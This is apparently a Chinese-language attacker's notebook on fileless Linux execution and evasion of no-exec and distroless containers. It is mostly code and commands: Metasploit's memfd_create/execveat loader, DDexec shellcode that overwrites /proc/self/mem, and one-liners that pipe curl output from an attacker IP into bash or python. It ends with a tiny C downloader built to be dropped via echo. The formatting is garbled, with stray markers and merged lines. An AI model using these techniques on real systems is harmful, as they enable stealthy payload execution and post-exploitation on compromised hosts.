Exploring Linux Memory Manipulation for Stealth and Evasion Strategies to bypass Read-Only No-Exec and Distroless Environments
memfd_create 返回一个引用匿名文件的文件描述符
需要内核版本高于 3.17
metasploit 中的实现:
https://github.com/rapid7/mettle/blob/master/libreflect/src/map_elf.c
xxxxxxxxxxvoid reflect_mfd_execve(const unsigned char *elf, char **argv, char **env) { int out, ii; ssize_t l = 0; size_t end = 0, written = 0; ElfW(Ehdr) *ehdr = (ElfW(Ehdr) *) elf; ElfW(Phdr) *phdr = (ElfW(Phdr) *)(elf + ehdr->e_phoff);
if (!is_compatible_elf((ElfW(Ehdr) *)elf)) { abort(); }
// XXX: Assumes normal elf files with the important data before the end of // the last LOAD segment for(ii = 0; ii < ehdr->e_phnum; ii++, phdr++) { if(phdr->p_type == PT_LOAD) { if (end < phdr->p_offset + phdr->p_filesz) { end = phdr->p_offset + phdr->p_filesz; } } }
out = syscall(SYS_memfd_create, "", MFD_CLOEXEC); if (ftruncate(out, end) == -1) { dprint("Failed to resize memory file: %s\n", strerror(errno)); abort(); }
while (written < end) { l = write(out, elf + written, end - written); if (l == -1) { dprint("Failed to write memory file: %s\n", strerror(errno)); abort(); } written += l; }
syscall(SYS_execveat, out, "", argv, env, AT_EMPTY_PATH);}https://github.com/nnsee/fileless-elf-exec
xxxxxxxxxxfee -c /path/to/binary -w 64 | ssh user@targetcurl my.example.site/output.py | python通过覆盖 /proc/self/mem 修改当前进程内存的技术
https://github.com/arget13/DDexec
类似 Windows 下的反射 DLL 注入技术
xxxxxxxxxxThe steps are relatively easy and do not require any kind of expertise to understand them:Parse the binary we want to run and the loader to find out what mappings they need. Then craft a shellcode that will perform, broadly speaking, the same steps that the kernel does upon each call to execve():Create said mappings.Read the binaries into them.Set up permissions.Finally initialize the stack with the arguments for the program and place the auxiliary vector (needed by the loader).Jump into the loader and let it do the rest (load and link libraries needed by the program).Obtain from the syscall file the address to which the process will return after the syscall it is currently executing.Overwrite that place, which will be executable, with our shellcode (through mem we can modify unwritable pages).Pass the program we want to run to the stdin of the process (will be read() by said shellcode).At this point it is up to the loader to load the necessary libraries for our program and jump into it.Oh, and all of this must be done in shell scripting, or what would be the point?
引导头
xxxxxxxxxxif [ "$arch" = "x86_64" ]then sc_array='prep 4d31c04d89c149f7d041ba32000000openprep 4831c04889c6b00248bf________________0f054989c041ba12000000stackexe 4831c0b00a48bf$(endian $stack_bottom)be$(endian $stack_size)ba070000000f05mrmbin 4831c0b00948bf$(endian $virt)be$(endian $memsz)ba030000000f054831ff48be$(endian $origvirt)48ba$(endian $fsize)4889f80f054829c24801c64885d275f04831c0b00a48bf$(endian $virt)be$(endian $memsz)ba$(endian $perm)0f05mrmfile2 4d89c44d31c04d89c149f7d041ba320000004831c0b00948bf$(endian $virt2)be$(endian $diff)ba$(endian $perm)0f054d89e0mrmfile 4831c0b00948bf$(endian $virt)be$(endian $memsz)ba$(endian $perm)49b9$(endian $off)0f05close 4831c0b0034c89c70f05zerobss 4831c0b9$(endian $bss_size)48bf$(endian $bss_addr)f348abstack 48bc$(endian $sp)4831ff4889e6ba$(endian $stack_len)4889f80f0529c24801c685d275f3canary 48bb${at_random}64488b04252800000048890380c30864488b042530000000488903dup 4831c04889c6b0024889c7b0210f05jmpld 48b8$(endian $ld_start_addr)jmpbin 48b8$entryjmp ffe0loop ebfe使用场景:绕过敏感命令执行限制 & 记录
xxxxxxxxxxbase64 -w0 /usr/bin/curl | bash ddexec.sh 0 192.168.75.1:8000/abcd -o abcd权限过低无法写入可执行目录
APISIX 结合 https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.go 等
xxxxxxxxxxbash -c "$(curl http://192.168.75.1:8000/ddexec.sh)" 0这种方法需要修改 ddexec.sh,将脚本原有的从 stdin 获取文件修改为从硬编码的字符串获取
xxxxxxxxxxcp /usr/bin/curl /tmp/lruc/tmp/lruc -o abc http://example.com/abcC 实现的下载器:
xxxxxxxxxx
int main(int argc, char *argv[]){ char *url = argv[1]; char *host_start = strstr(url, "http://"); if (host_start) { host_start += 7; } else { host_start = url; }
char *host = strtok(host_start, "/"); char *port_str = "80"; char *path = strtok(NULL, "");
char *colon = strchr(host, ':'); if (colon) { *colon = '\0'; port_str = colon + 1; }
int sockfd; struct addrinfo hints, *servinfo, *p; int rv; char request[256]; char buffer[1024]; int file;
memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
if ((rv = getaddrinfo(host, port_str, &hints, &servinfo)) != 0) { return 1; }
for (p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { continue; } if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); continue; } break; }
if (p == NULL) { return 2; }
freeaddrinfo(servinfo); snprintf(request, sizeof(request), "GET /%s HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n", path, host, port_str); send(sockfd, request, strlen(request), 0); file = open("downloaded_file", O_WRONLY | O_CREAT | O_TRUNC, 0644);
int received; int header_end = 0; while ((received = recv(sockfd, buffer, sizeof(buffer), 0)) > 0) { if (!header_end) { char *header_end_ptr = strstr(buffer, "\r\n\r\n"); if (header_end_ptr) { header_end = 1; write(file, header_end_ptr + 4, received - (header_end_ptr - buffer) - 4); } } else { write(file, buffer, received); } }
close(file); close(sockfd); return 0;}为了优化文件大小使用 musl libc 代替 glic 进行编译,文件大小可以控制在 10 K 以内
xxxxxxxxxxdocker run -dit alpinedocker exec -it apline shapk add --no-cache build-basegcc -Os -s -fdata-sections -ffunction-sections -flto -Wl,--gc-sections -o download download.c压缩编码后可以通过 echo 写入